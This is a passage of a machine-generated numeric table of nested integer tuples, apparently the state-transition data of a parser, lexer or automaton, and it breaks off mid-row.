{0,{5249,0,0,0}}, {0,{0,0,0,5250}}, {0,{0,0,0,5251}}, {0,{0,0,0,5252}}, {0,{0,0,0,5253}}, {0,{0,0,0,5254}}, {0,{0,0,0,5255}}, {0,{0,0,0,5256}}, {0,{5243,5243,5243,5243}}, {0,{4150,4150,4150,5258}}, {0,{5259,5259,5259,5259}}, {0,{5260,5260,5260,5260}}, {0,{5261,4095,4095,4095}}, {0,{5262,5262,5262,4092}}, {0,{5263,5263,5263,5263}}, {0,{5264,5264,4087,4087}}, {0,{5265,4086,4086,4086}}, {0,{4083,4083,4083,5266}}, {0,{4076,4076,4076,5267}}, {0,{0,0,0,5268}}, {0,{0,0,0,5269}}, {0,{0,0,0,5270}}, {0,{0,0,0,5271}}, {0,{0,0,0,5272}}, {0,{5273,5273,5243,5243}}, {536,{0,0,0,5232}}, {0,{0,0,0,5275}}, {0,{5276,5276,5276,5276}}, {0,{5244,5244,5244,5244}}, {0,{5278,5080,4298,4298}}, {0,{5279,5065,5065,5065}}, {0,{5280,5280,5280,5064}}, {0,{5281,5063,5063,5063}}, {0,{5282,5047,5047,5047}}, {0,{5048,5048,5048,5283}}, {0,{0,0,0,5284}}, {0,{0,0,0,5285}}, {0,{0,0,0,5286}}, {0,{5287,0,0,0}}, {537,{5288,4275,4275,4275}}, {0,{5274,5257,5274,5274}}, {0,{5290,5067,0,0}}, {0,{5291,5068,5068,5068}}, {0,{5292,5292,5292,5069}}, {0,{5293,5070,5070,5070}}, {0,{5294,5071,5071,5071}}, {0,{5072,5072,5072,5295}}, {0,{0,0,0,5296}}, {0,{0,0,0,5297}}, {0,{0,0,0,5298}}, {0,{5299,0,0,0}}, {538,{5300,0,0,0}}, {0,{5274,5274,5274,5274}}, {0,{5176,5159,5176,5177}}, {0,{5303,5303,5418,5418}}, {0,{5304,5386,5413,5413}}, {0,{5305,5359,5382,5382}}, {0,{5306,5337,5340,5348}}, {0,{5307,5333,5336,5333}}, {0,{5308,5326,5326,5329}}, {0,{5309,5322,5325,4984}}, {0,{5310,5317,5317,5317}}, {0,{5311,5313,5313,5315}}, {0,{5312,3737,3737,3737}}, {539,{3692,3692,3692,3692}}, {0,{5314,3772,3772,3772}}, {540,{3763,3763,3763,3763}}, {0,{5316,3774,3774,3774}}, {541,{3775,3775,3775,3775}}, {0,{5318,5320,5320,5320}}, {0,{5319,3831,3831,3831}}, {542,{3827,3827,3827,3827}}, {0,{5321,0,0,0}}, {543,{0,0,0,0}}, {0,{5323,5324,5324,5324}}, {0,{5313,5313,5313,5313}}, {0,{5320,5320,5320,5320}}, {544,{5323,5324,5324,5324}}, {0,{5327,5322,5325,4984}}, {0,{5328,5317,5317,5317}}, {0,{5311,5313,5313,5313}}, {0,{5330,5331,5332,0}}, {0,{5317,5317,5317,5317}}, {0,{5324,5324,5324,5324}}, {545,{5324,5324,5324,5324}}, {0,{5334,5334,5334,5335}}, {0,{5322,5322,5325,4984}}, {0,{5331,5331,5332,0}}, {546,{5334,5334,5334,5335}}, {0,{5338,5338,5339,5338}}, {0,{5335,5335,5335,5335}}, {547,{5335,5335,5335,5335}}, {0,{5338,5341,5339,5338}}, {0,{5342,5335,5335,5335}}, {0,{5343,5343,5347,4920}}, {0,{5344,5324,5324,5324}}, {0,{5345,5345,5345,5345}}, {0,{5346,3953,3953,3953}}, {548,{3946,3946,3946,3946}}, {549,{5344,5324,5324,5324}}, {0,{5349,5338,5339,5338}}, {0,{5350,5335,5335,5335}}, {0,{5351,5331,5355,0}}, {0,{5352,5352,5352,5352}}, {0,{5353,5353,5353,5320}}, {0,{5354,4298,4298,4298}}, {550,{4297,4297,4297,4297}}, {551,{5324,5356,5324,5324}}, {0,{5357,5357,5357,5357}}, {0,{5358,4411,4411,4411}}, {552,{4392,4392,4392,4392}}, {0,{5360,5337,5337,5362}}, {0,{5361,5338,5339,5338}}, {0,{5329,5329,5329,5329}}, {0,{5363,5377,5381,5338}}, {0,{5364,5335,5335,5335}}, {0,{5365,5371,5375,4949}}, {0,{5366,5352,5352,5352}}, {0,{5367,5367,5367,5369}}, {0,{5368,4611,4611,4611}}, {553,{4610,4610,4610,4610}}, {0,{5370,4641,4641,4641}}, {554,{4642,4642,4642,4642}}, {0,{5372,5324,5324,5324}}, {0,{5373,5373,5373,5373}}, {0,{5374,4704,4704,4704}}, {555,{4689,4689,4689,4689}}, {556,{5376,5356,5324,5324}}, {0,{5369,5369,5369,5369}}, {0,{5378,5335,5335,5335}}, {0,{5379,5371,5380,4949}}, {0,{5376,5324,5324,5324}}, {557,{5376,5324,5324,5324}}, {558,{5378,5335,5335,5335}}, {0,{5360,5337,5337,5383}}, {0,{5384,5338,5339,5338}}, {0,{5385,5335,5335,5335}}, {0,{5351,5331,5332,0}}, {0,{5387,5402,5409,5409}}, {0,{5388,5395,5398,5399}}, {0,{5389,5338,5339,5338}}, {0,{5390,5329,5329,5329}}, {559,{5391,5331,5332,0}}, {0,{5392,5317,5317,5317}}, {0,{5318,5320,5320,5393}}, {0,{5394,4828,4828,4828}}, {560,{4829,4829,4829,4829}}, {0,{5396,5338,5339,5338}}, {0,{5397,5335,5335,5335}}, {561,{5331,5331,5332,0}}, {0,{5396,5341,5339,5338}}, {0,{5400,5338,5339,5338}}, {0,{5401,5335,5335,5335}}, {562,{5351,5331,5355,0}}, {0,{5403,5395,5395,5406}}, {0,{5404,5338,5339,5338}}, {0,{5405,5329,5329,5329}}, {563,{5330,5331,5332,0}}, {0,{5407,5377,5381,5338}}, {0,{5408,5335,5335,5335}}, {564,{5365,5371,5375,4949}}, {0,{5403,5395,5395,5410}}, {0,{5411,5338,5339,5338}}, {0,{5412,5335,5335,5335}}, {565,{5351,5331,5332,0}}, {0,{5414,5359,5382,5382}}, {0,{5415,5337,5340,5348}}, {0,{5416,5338,5339,5338}}, {0,{5417,5329,5329,5329}}, {0,{5391,5331,5332,0}}, {0,{5413,5386,5413,5413}}, {0,{5420,5420,5440,5440}}, {0,{5421,5438,5438,5438}}, {0,{5422,5428,5434,5434}}, {0,{5185,4916,4917,5423}}, {0,{5424,4913,4915,4913}}, {0,{5425,4914,4914,4914}}, {0,{5426,0,4931,0}}, {0,{5427,5427,5427,5427}}, {0,{4930,4930,4930,0}}, {0,{4939,4916,4916,5429}}, {0,{5430,4953,4957,4913}}, {0,{5431,4914,4914,4914}}, {0,{5432,4949,4951,4949}}, {0,{5433,5427,5427,5427}}, {0,{4948,4948,4948,4640}}, {0,{4939,4916,4916,5435}}, {0,{5436,4913,4915,4913}}, {0,{5437,4914,4914,4914}}, {0,{5426,0,4910,0}}, {0,{5439,5428,5434,5434}}, {0,{4903,4916,4917,5423}}, {0,{5438,5438,5438,5438}}, {566,{5442,5539,5607,5626}}, {0,{5443,5504,5512,5513}}, {0,{5444,5485,5485,5485}}, {0,{5445,5464,5473,5479}}, {0,{5446,5453,5456,5460}}, {0,{5447,5447,5452,5447}}, {0,{5448,5448,5448,5450}}, {0,{3861,3861,5449,3867}}, {568,{3862,3864,3865,3865}}, {0,{3881,3881,5451,3883}}, {570,{3864,3864,3865,3865}}, {571,{5448,5448,5448,5450}}, {0,{5454,5454,5455,5454}}, {0,{5450,5450,5450,5450}}, {572,{5450,5450,5450,5450}}, {0,{5454,5457,5455,5454}}, {0,{5458,5450,5450,5450}}, {0,{3894,3894,5459,3956}}, {574,{3895,3864,3865,3865}}, {0,{5461,5454,5455,5454}}, {0,{5462,5450,5450,5450}}, {0,{3881,3881,5463,3883}}, {576,{3864,4344,3865,3865}}, {0,{5453,5453,5453,5465}}, {0,{5466,5469,5472,5454}}, {0,{5467,5450,5450,5450}}, {0,{4650,4650,5468,4752}}, {578,{4651,4344,3865,3865}}, {0,{5470,5450,5450,5450}}, {0,{4650,4650,5471,4752}}, {580,{4651,3864,3865,3865}}, {581,{5470,5450,5450,5450}}, {0,{5474,5474,5474,5474}}, {0,{5475,5475,5478,5475}}, {0,{5476,5476,5476,5476}}, {0,{3883,3883,5477,3883}}, {583,{3865,3865,3865,3865}}, {584,{5476,5476,5476,5476}}, {0,{5480,5480,5480,5480}}, {0,{5481,5481,5484,5481}}, {0,{5482,5482,5482,5482}}, {0,{4796,4796,5483,4796}}, {586,{4797,4797,4797,4797}}, {587,{5482,5482,5482,5482}}, {0,{5486,5495,5479,5479}}, {0,{5480,5480,5487,5491}}, {0,{5481,5488,5484,5481}}, {0,{5489,5482,5482,5482}}, {0,{4834,4834,5490,4834}}, {589,{4835,4797,4797,4797}}, {0,{5492,5481,5484,5481}}, {0,{5493,5482,5482,5482}}, {0,{4796,4796,5494,4796}}, {591,{4797,4844,4797,4797}}, {0,{5480,5480,5480,5496}}, {0,{5497,5500,5503,5481}}, {0,{5498,5482,5482,5482}}, {0,{4861,4861,5499,4861}}, {593,{4862,4844,4797,4797}}, {0,{5501,5482,5482,5482}}, {0,{4861,4861,5502,4861}}, {595,{4862,4797,4797,4797}}, {596,{5501,5482,5482,5482}}, {0,{5505,5485,5485,5485}}, {0,{5506,5495,5479,5479}}, {0,{5507,5480,5487,5491}}, {0,{5508,5508,5511,5508}}, {0,{5509,5509,5509,5482}}, {0,{4890,4890,5510,4890}}, {598,{4891,4797,4797,4797}}, {599,{5509,5509,5509,5482}}, {0,{5485,5485,5485,5485}}, {0,{5514,5514,5514,5514}}, {0,{5515,5529,5538,5538}}, {0,{5516,5516,5521,5525}}, {0,{5517,5517,5520,5517}}, {0,{5518,5518,5518,5518}}, {0,{0,0,5519,0}}, {601,{0,0,0,0}}, {602,{5518,5518,5518,5518}}, {0,{5517,5522,5520,5517}}, {0,{5523,5518,5518,5518}}, {0,{4920,4920,5524,4920}}, {604,{4921,0,0,0}}, {0,{5526,5517,5520,5517}}, {0,{5527,5518,5518,5518}}, {0,{0,0,5528,0}}, {606,{0,4932,0,0}}, {0,{5516,5516,5516,5530}}, {0,{5531,5534,5537,5517}}, {0,{5532,5518,5518,5518}}, {0,{4949,4949,5533,4949}}, {608,{4950,4932,0,0}}, {0,{5535,5518,5518,5518}}, {0,{4949,4949,5536,4949}}, {610,{4950,0,0,0}}, {611,{5535,5518,5518,5518}}, {0,{5516,5516,5516,5516}}, {612,{5540,5598,5606,5606}}, {0,{5541,5588,5597,5514}}, {0,{5542,5579,5538,5538}}, {0,{5543,5550,5553,5557}}, {0,{5544,5544,5549,5544}}, {0,{5545,5545,5545,5547}}, {0,{4980,4980,5546,4984}}, {614,{4981,4982,0,0}}, {0,{4991,4991,5548,0}}, {616,{4982,4982,0,0}}, {617,{5545,5545,5545,5547}}, {0,{5551,5551,5552,5551}}, {0,{5547,5547,5547,5547}}, {618,{5547,5547,5547,5547}}, {0,{5551,5554,5552,5551}}, {0,{5555,5547,5547,5547}}, {0,{5003,5003,5556,4920}}, {620,{5004,4982,0,0}}, {0,{5558,5551,5552,5551}}, {0,{5559,5547,5547,5547}}, {0,{5560,4991,5578,0}}, {0,{5561,4982,0,0}}, {0,{5562,5562,4978,0}}, {0,{5563,5563,0,0}}, {0,{5564,5564,5577,5577}}, {0,{5565,5576,5576,5576}}, {0,{5566,5574,5574,5574}}, {0,{5567,0,0,0}}, {0,{3762,3762,3762,5568}}, {0,{0,0,0,5569}}, {0,{0,0,0,5570}}, {0,{0,0,0,5571}}, {0,{5572,0,0,0}}, {0,{5573,0,0,0}}, {0,{5030,0,0,0}}, {0,{5575,0,0,0}}, {0,{0,0,0,5568}}, {0,{5574,5574,5574,5574}}, {0,{5576,5576,5576,5576}}, {622,{4982,5082,0,0}}, {0,{5550,5550,5550,5580}}, {0,{5581,5584,5587,5551}}, {0,{5582,5547,5547,5547}}, {0,{5139,5139,5583,4949}}, {624,{5140,5082,0,0}}, {0,{5585,5547,5547,5547}}, {0,{5139,5139,5586,4949}}, {626,{5140,4982,0,0}}, {627,{5585,5547,5547,5547}}, {629,{5589,5529,5538,5538}}, {0,{5516,5516,5521,5590}}, {0,{5591,5517,5520,5517}}, {0,{5592,5518,5518,5518}}, {0,{5593,0,5528,0}}, {0,{5594,0,0,0}}, {0,{5595,5595,0,0}}, {0,{5596,5596,0,0}}, {0,{5577,5577,5577,5577}}, {0,{5589,5529,5538,5538}}, {0,{5599,5588,5597,5514}}, {0,{5600,5529,5538,5538}}, {0,{5601,5516,5521,5590}}, {0,{5602,5602,5605,5602}}, {0,{5603,5603,5603,5518}}, {0,{4984,4984,5604,4984}}, {631,{4985,0,0,0}}, {632,{5603,5603,5603,5518}}, {0,{5597,5588,5597,5514}}, {0,{5608,5608,5625,5625}}, {0,{5609,5611,5514,5514}}, {0,{5610,5529,5538,5538}}, {0,{5601,5516,5521,5525}}, {0,{5612,5620,5624,5624}}, {0,{5613,5613,5616,5617}}, {0,{5614,5517,5520,5517}}, {0,{5615,5518,5518,5518}}, {633,{0,0,5519,0}}, {0,{5614,5522,5520,5517}}, {0,{5618,5517,5520,5517}}, {0,{5619,5518,5518,5518}}, {634,{0,0,5528,0}}, {0,{5613,5613,5613,5621}}, {0,{5622,5534,5537,5517}}, {0,{5623,5518,5518,5518}}, {635,{4949,4949,5533,4949}}, {0,{5613,5613,5613,5613}}, {0,{5514,5611,5514,5514}}, {0,{5627,5627,5513,5513}}, {0,{5609,5514,5514,5514}}, {0,{5629,5678,5704,5783}}, {636,{5630,5668,5672,5673}}, {0,{5631,5657,5657,5657}}, {0,{5632,5640,5646,5651}}, {0,{5633,3888,3891,5634}}, {0,{3884,3884,3887,3884}}, {0,{5635,3889,3890,3889}}, {0,{5636,3886,3886,3886}}, {0,{5637,3881,4343,3883}}, {0,{5638,5638,5639,5639}}, {0,{4299,4299,4299,0}}, {0,{4338,4338,4338,0}}, {0,{3888,3888,3888,5641}}, {0,{5642,4763,4767,3889}}, {0,{5643,3886,3886,3886}}, {0,{5644,4650,4706,4752}}, {0,{5645,5638,5639,5639}}, {0,{4612,4612,4612,4640}}, {0,{4777,4777,4777,5647}}, {0,{5648,4774,4776,4774}}, {0,{5649,4775,4775,4775}}, {0,{5650,3883,4773,3883}}, {0,{5639,5639,5639,5639}}, {0,{4802,4802,4802,5652}}, {0,{5653,4799,4801,4799}}, {0,{5654,4800,4800,4800}}, {0,{5655,4796,4798,4796}}, {0,{5656,5656,5656,5656}}, {0,{4811,4811,4811,0}}, {0,{5658,5662,5651,5651}}, {0,{4802,4802,4831,5659}}, {0,{5660,4799,4801,4799}}, {0,{5661,4800,4800,4800}}, {0,{5655,4796,4843,4796}}, {0,{4802,4802,4802,5663}}, {0,{5664,4871,4875,4799}}, {0,{5665,4800,4800,4800}}, {0,{5666,4861,4866,4861}}, {0,{5667,5656,5656,5656}}, {0,{4858,4858,4858,4640}}, {0,{5669,5657,5657,5657}}, {0,{5670,5662,5651,5651}}, {0,{5671,4802,4831,5659}}, {0,{4896,4896,4898,4896}}, {0,{5657,5657,5657,5657}}, {0,{5674,5674,5674,5674}}, {0,{5675,5676,5677,5677}}, {0,{4916,4916,4917,5423}}, {0,{4916,4916,4916,5429}}, {0,{4916,4916,4916,5435}}, {638,{5679,5699,5703,5703}}, {0,{5680,5698,5674,5674}}, {0,{5681,5690,5677,5677}}, {0,{5682,4997,5000,5683}}, {0,{4993,4993,4996,4993}}, {0,{5684,4998,4999,4998}}, {0,{5685,4995,4995,4995}}, {0,{5686,4991,5081,0}}, {0,{5687,5687,5427,5427}}, {0,{5688,5688,5688,0}}, {0,{5689,5689,4298,4298}}, {0,{4287,4287,4297,4297}}, {0,{4997,4997,4997,5691}}, {0,{5692,5147,5151,4998}}, {0,{5693,4995,4995,4995}}, {0,{5694,5139,5143,4949}}, {0,{5695,5687,5427,5427}}, {0,{5696,5696,5696,4640}}, {0,{5697,5697,4611,4611}}, {0,{4600,4600,4610,4610}}, {640,{5675,5676,5677,5677}}, {0,{5700,5698,5674,5674}}, {0,{5701,5676,5677,5677}}, {0,{5702,4916,4917,5423}}, {0,{5195,5195,5197,5195}}, {0,{5674,5698,5674,5674}}, {0,{5705,5705,5782,5782}}, {0,{5706,5763,5780,5780}}, {0,{5707,5742,5759,5759}}, {0,{5708,5723,5726,5734}}, {0,{5709,5709,5722,5709}}, {0,{5710,5710,5710,5719}}, {0,{5711,4984,5718,4984}}, {0,{5712,5715,5715,5715}}, {0,{5713,5713,5713,5713}}, {0,{5714,3772,5714,3772}}, {641,{3763,3763,3763,3763}}, {0,{5716,5716,5716,5716}}, {0,{5717,0,5717,0}}, {642,{0,0,0,0}}, {644,{4985,0,0,0}}, {0,{5720,0,5721,0}}, {0,{5715,5715,5715,5715}}, {646,{0,0,0,0}}, {647,{5710,5710,5710,5719}}, {0,{5724,5724,5725,5724}}, {0,{5719,5719,5719,5719}}, {648,{5719,5719,5719,5719}}, {0,{5724,5727,5725,5724}}, {0,{5728,5719,5719,5719}}, {0,{5729,4920,5733,4920}}, {0,{5730,5715,5715,5715}}, {0,{5731,5731,5731,5731}}, {0,{5732,3953,5732,3953}}, {649,{3946,3946,3946,3946}}, {651,{4921,0,0,0}}, {0,{5735,5724,5725,5724}}, {0,{5736,5719,5719,5719}}, {0,{5737,0,5741,0}}, {0,{5738,5738,5738,5738}}, {0,{5739,5739,5739,5716}}, {0,{5740,4298,5740,4298}}, {652,{4297,4297,4297,4297}}, {654,{0,4932,0,0}}, {0,{5723,5723,5723,5743}}, {0,{5744,5753,5758,5724}}, {0,{5745,5719,5719,5719}}, {0,{5746,4949,5752,4949}}, {0,{5747,5738,5738,5738}}, {0,{5748,5748,5748,5750}}, {0,{5749,4611,5749,4611}}, {655,{4610,4610,4610,4610}}, {0,{5751,4641,5751,4641}}, {656,{4642,4642,4642,4642}}, {658,{4952,4932,0,0}}, {0,{5754,5719,5719,5719}}, {0,{5755,4949,5757,4949}}, {0,{5756,5715,5715,5715}}, {0,{5750,5750,5750,5750}}, {660,{4952,0,0,0}}, {661,{5754,5719,5719,5719}}, {0,{5723,5723,5723,5760}}, {0,{5761,5724,5725,5724}}, {0,{5762,5719,5719,5719}}, {0,{5737,0,5721,0}}, {0,{5764,5772,5776,5776}}, {0,{5765,5765,5768,5769}}, {0,{5766,5724,5725,5724}}, {0,{5767,5719,5719,5719}}, {662,{5720,0,5721,0}}, {0,{5766,5727,5725,5724}}, {0,{5770,5724,5725,5724}}, {0,{5771,5719,5719,5719}}, {663,{5737,0,5741,0}}, {0,{5765,5765,5765,5773}}, {0,{5774,5753,5758,5724}}, {0,{5775,5719,5719,5719}}, {664,{5746,4949,5752,4949}}, {0,{5765,5765,5765,5777}}, {0,{5778,5724,5725,5724}}, {0,{5779,5719,5719,5719}}, {665,{5737,0,5721,0}}, {0,{5781,5742,5759,5759}}, {0,{5723,5723,5726,5734}}, {0,{5780,5763,5780,5780}}, {0,{5784,5784,5673,5673}}, {0,{5700,5674,5674,5674}}, {0,{5786,5808,5812,5786}}, {0,{5787,5787,5807,5807}}, {0,{5788,5805,5805,5805}}, {0,{5789,5799,5804,5804}}, {0,{5790,5794,5796,5794}}, {0,{5791,5791,5793,5791}}, {0,{5792,5792,5792,0}}, {0,{4984,4984,4984,4984}}, {666,{5792,5792,5792,0}}, {0,{0,0,5795,0}}, {667,{0,0,0,0}}, {0,{0,5797,5795,0}}, {0,{5798,0,0,0}}, {0,{4920,4920,4920,4920}}, {0,{5794,5794,5794,5800}}, {0,{5801,5801,5803,0}}, {0,{5802,0,0,0}}, {0,{4949,4949,4949,4949}}, {668,{5802,0,0,0}}, {0,{5794,5794,5794,5794}}, {0,{5806,5799,5804,5804}}, {0,{5794,5794,5796,5794}}, {0,{5805,5805,5805,5805}}, {669,{5809,5809,5811,5811}}, {0,{5788,5810,5805,5805}}, {671,{5806,5799,5804,5804}}, {0,{5805,5810,5805,5805}}, {0,{5813,5813,5825,5825}}, {0,{5788,5814,5805,5805}}, {0,{5815,5820,5824,5824}}, {0,{5816,5816,5819,5816}}, {0,{5817,0,5795,0}}, {0,{5818,0,0,0}}, {672,{0,0,0,0}}, {0,{5817,5797,5795,0}}, {0,{5816,5816,5816,5821}}, {0,{5822,5801,5803,0}}, {0,{5823,0,0,0}}, {673,{4949,4949,4949,4949}}, {0,{5816,5816,5816,5816}}, {0,{5805,5814,5805,5805}}, {0,{5827,6069,6275,6325}}, {0,{5828,6002,6049,6061}}, {0,{5829,5989,5989,5990}}, {0,{5830,5988,5988,5988}}, {0,{5831,5831,5968,5974}}, {0,{4481,3888,3888,5832}}, {0,{5833,3889,3890,3889}}, {0,{5834,4413,4413,4413}}, {0,{5835,3881,5965,3883}}, {0,{5836,5836,5949,5949}}, {0,{5837,5926,5926,5948}}, {0,{5838,5893,5925,5925}}, {0,{5839,5874,5892,5892}}, {0,{5840,5864,5864,5865}}, {0,{5841,5863,5863,5863}}, {0,{5842,5855,5862,5862}}, {0,{5843,5843,5843,5849}}, {0,{3353,3353,3353,5844}}, {0,{3354,3354,3354,5845}}, {0,{3355,3355,3355,5846}}, {0,{5847,3356,5848,3356}}, {674,{4427,4427,4427,4427}}, {675,{3357,3357,3357,3357}}, {0,{3571,3571,3571,5850}}, {0,{3572,3572,3572,5851}}, {0,{3573,3573,3573,5852}}, {0,{5853,3574,5854,3574}}, {676,{4433,4433,4433,4433}}, {677,{3575,3575,3575,3575}}, {0,{5856,5856,5856,5849}}, {0,{3589,3589,3589,5857}}, {0,{3590,3590,3590,5858}}, {0,{3591,3591,3591,5859}}, {0,{5860,3592,5861,3592}}, {678,{4440,4440,4440,4440}}, {679,{3593,3593,3593,3593}}, {0,{5849,5849,5849,5849}}, {0,{5862,5862,5862,5862}}, {0,{5863,5863,5863,5863}}, {0,{5866,5866,5866,5866}}, {0,{5867,5867,5867,5867}}, {0,{5868,5868,5868,5868}}, {0,{0,0,0,5869}}, {0,{0,0,0,5870}}, {0,{0,0,0,5871}}, {0,{5872,0,5873,0}}, {680,{4452,4452,4452,4452}}, {681,{0,0,0,0}}, {0,{5875,5891,5891,5891}}, {0,{5876,5890,5890,5890}}, {0,{5877,5889,5889,5889}}, {0,{5878,5878,5878,5884}}, {0,{3674,3674,3674,5879}}, {0,{3675,3675,3675,5880}}, {0,{3676,3676,3676,5881}}, {0,{5882,3677,5883,3677}}, {682,{4462,4462,4462,4462}}, {683,{3678,3678,3678,3678}}, {0,{0,0,0,5885}}, {0,{0,0,0,5886}}, {0,{0,0,0,5887}}, {0,{5888,0,5873,0}}, {684,{4468,4468,4468,4468}}, {0,{5884,5884,5884,5884}}, {0,{5889,5889,5889,5889}}, {0,{5890,5890,5890,5890}}, {0,{5865,5865,5865,5865}}, {0,{5894,5916,5924,5924}}, {0,{5895,5915,5915,5915}}, {0,{5896,5914,5914,5914}}, {0,{5897,5907,5913,5913}}, {0,{5898,5898,5898,5903}}, {0,{3699,3699,3699,5899}}, {0,{3700,3700,3700,5900}}, {0,{3701,3701,3701,5901}}, {0,{5902,3702,5902,3702}}, {685,{3703,3703,3703,3703}}, {0,{0,0,0,5904}}, {0,{0,0,0,5905}}, {0,{0,0,0,5906}}, {0,{5873,0,5873,0}}, {0,{5908,5908,5908,5903}}, {0,{3726,3726,3726,5909}}, {0,{3727,3727,3727,5910}}, {0,{3728,3728,3728,5911}}, {0,{5912,3729,5912,3729}}, {686,{3730,3730,3730,3730}}, {0,{5903,5903,5903,5903}}, {0,{5913,5913,5913,5913}}, {0,{5914,5914,5914,5914}}, {0,{5917,5915,5915,5915}}, {0,{5918,5914,5914,5914}}, {0,{5919,5913,5913,5913}}, {0,{5920,5920,5920,5903}}, {0,{3674,3674,3674,5921}}, {0,{3675,3675,3675,5922}}, {0,{3676,3676,3676,5923}}, {0,{5883,3677,5883,3677}}, {0,{5915,5915,5915,5915}}, {0,{5924,5924,5924,5924}}, {0,{5927,5893,5925,5925}}, {0,{5928,5916,5924,5924}}, {0,{5929,5947,5947,5915}}, {0,{5930,5946,5946,5946}}, {0,{5931,5940,5945,5945}}, {0,{5932,5932,5932,5936}}, {0,{3353,3353,3353,5933}}, {0,{3354,3354,3354,5934}}, {0,{3355,3355,3355,5935}}, {0,{5848,3356,5848,3356}}, {0,{3571,3571,3571,5937}}, {0,{3572,3572,3572,5938}}, {0,{3573,3573,3573,5939}}, {0,{5854,3574,5854,3574}}, {0,{5941,5941,5941,5936}}, {0,{3589,3589,3589,5942}}, {0,{3590,3590,3590,5943}}, {0,{3591,3591,3591,5944}}, {0,{5861,3592,5861,3592}}, {0,{5936,5936,5936,5936}}, {0,{5945,5945,5945,5945}}, {0,{5946,5946,5946,5946}}, {0,{5925,5925,5925,5925}}, {0,{5950,5960,5960,5948}}, {0,{5951,5956,5925,5925}}, {0,{5952,5955,5892,5892}}, {0,{5953,5864,5864,5865}}, {0,{5954,5863,5863,5863}}, {0,{5855,5855,5862,5862}}, {0,{5891,5891,5891,5891}}, {0,{5957,5924,5924,5924}}, {0,{5958,5915,5915,5915}}, {0,{5959,5914,5914,5914}}, {0,{5907,5907,5913,5913}}, {0,{5961,5956,5925,5925}}, {0,{5962,5924,5924,5924}}, {0,{5963,5947,5947,5915}}, {0,{5964,5946,5946,5946}}, {0,{5940,5940,5945,5945}}, {687,{5966,5966,5967,5967}}, {0,{5926,5926,5926,5948}}, {0,{5960,5960,5960,5948}}, {0,{4769,4777,4777,5969}}, {0,{5970,4774,4776,4774}}, {0,{5971,4782,4782,4782}}, {0,{5972,3883,5973,3883}}, {0,{5949,5949,5949,5949}}, {688,{5967,5967,5967,5967}}, {0,{4785,4802,4802,5975}}, {0,{5976,4799,4801,4799}}, {0,{5977,4814,4814,4814}}, {0,{5978,4796,5986,4796}}, {0,{5979,5979,5979,5979}}, {0,{5980,5983,5983,5948}}, {0,{5981,5925,5925,5925}}, {0,{5982,5955,5892,5892}}, {0,{5864,5864,5864,5865}}, {0,{5984,5925,5925,5925}}, {0,{5985,5924,5924,5924}}, {0,{5947,5947,5947,5915}}, {689,{5987,5987,5987,5987}}, {0,{5983,5983,5983,5948}}, {0,{5974,5974,5974,5974}}, {0,{5988,5988,5988,5988}}, {0,{5991,5991,5991,5991}}, {0,{5992,5992,5992,5992}}, {0,{4939,4916,4916,5993}}, {0,{5994,4913,4915,4913}}, {0,{5995,4933,4933,4933}}, {0,{5996,0,6000,0}}, {0,{5997,5997,5997,5997}}, {0,{5998,5948,5948,5948}}, {0,{5999,5925,5925,5925}}, {0,{5892,5892,5892,5892}}, {690,{6001,6001,6001,6001}}, {0,{5948,5948,5948,5948}}, {691,{6003,6046,6046,6048}}, {0,{6004,6044,6045,6045}}, {0,{6005,6005,6038,6043}}, {692,{5101,4997,4997,6006}}, {0,{6007,4998,4999,4998}}, {0,{6008,5085,5085,5085}}, {0,{6009,4991,6034,0}}, {0,{6010,6010,6033,6033}}, {0,{6011,6011,6011,6031}}, {0,{6012,6012,5925,5925}}, {0,{6013,6013,6030,6030}}, {0,{6014,6029,6029,6029}}, {0,{6015,6028,6028,6028}}, {0,{6016,6027,6027,6027}}, {0,{6017,6017,6017,6022}}, {0,{3674,3674,3674,6018}}, {0,{3675,3675,3675,6019}}, {0,{3676,3676,3676,6020}}, {0,{6021,3677,5883,3677}}, {694,{3678,3678,3678,3678}}, {0,{0,0,0,6023}}, {0,{0,0,0,6024}}, {0,{0,0,0,6025}}, {0,{6026,0,5873,0}}, {696,{0,0,0,0}}, {0,{6022,6022,6022,6022}}, {0,{6027,6027,6027,6027}}, {0,{6028,6028,6028,6028}}, {0,{6029,6029,6029,6029}}, {0,{6032,6032,5925,5925}}, {0,{6030,6030,6030,6030}}, {0,{6031,6031,6031,6031}}, {697,{6035,6035,6001,6001}}, {0,{6036,6036,6036,5948}}, {0,{6037,6037,5925,5925}}, {0,{5916,5916,5924,5924}}, {698,{4939,4916,4916,6039}}, {0,{6040,4913,4915,4913}}, {0,{6041,5157,5157,5157}}, {0,{6042,0,6000,0}}, {0,{6033,6033,6033,6033}}, {0,{4939,4916,4916,6039}}, {700,{6043,6043,6043,6043}}, {0,{6043,6043,6043,6043}}, {0,{6047,6044,6045,6045}}, {0,{6038,6038,6038,6043}}, {0,{6045,6044,6045,6045}}, {0,{6050,6050,6050,6050}}, {0,{6051,6051,6051,6051}}, {0,{6052,6052,6052,6052}}, {0,{5360,5337,5337,6053}}, {0,{6054,5338,5339,5338}}, {0,{6055,5335,5335,5335}}, {0,{6056,5331,6060,0}}, {0,{6057,6057,6057,6057}}, {0,{6058,6058,6058,6058}}, {0,{6059,5925,5925,5925}}, {701,{5924,5924,5924,5924}}, {702,{6057,6057,6057,6057}}, {0,{6062,6062,6062,6062}}, {0,{6063,6063,6063,6063}}, {0,{6064,6064,6064,6064}}, {0,{4939,4916,4916,6065}}, {0,{6066,4913,4915,4913}}, {0,{6067,4914,4914,4914}}, {0,{6068,0,6000,0}}, {0,{6001,6001,6001,6001}}, {703,{6070,6258,6274,6274}}, {0,{6071,6249,6249,6250}}, {0,{6072,6248,6248,6248}}, {0,{6073,6073,6234,6239}}, {0,{6074,5453,6074,5453}}, {0,{6075,5454,5455,5454}}, {0,{6076,6076,5450,5450}}, {0,{6077,3881,5451,3883}}, {0,{6078,6078,6224,6224}}, {0,{6079,6079,6079,6223}}, {0,{6080,6196,6222,6222}}, {0,{6081,6181,6195,6195}}, {0,{6082,6168,6168,6169}}, {0,{6083,6167,6167,6167}}, {0,{6084,6159,6166,6166}}, {0,{6085,6085,6085,6150}}, {0,{6086,6086,6086,6086}}, {0,{6087,3354,6087,3354}}, {0,{6088,3355,6088,3355}}, {0,{6089,3356,3356,3356}}, {0,{6090,6090,6090,6090}}, {0,{6091,6091,6091,6149}}, {0,{6092,6092,6092,6139}}, {0,{6093,6093,6093,6093}}, {0,{6094,6094,6135,6138}}, {0,{6095,6133,6134,6134}}, {704,{6096,6130,6130,6131}}, {0,{6097,6127,6097,6127}}, {0,{6098,6126,6126,6126}}, 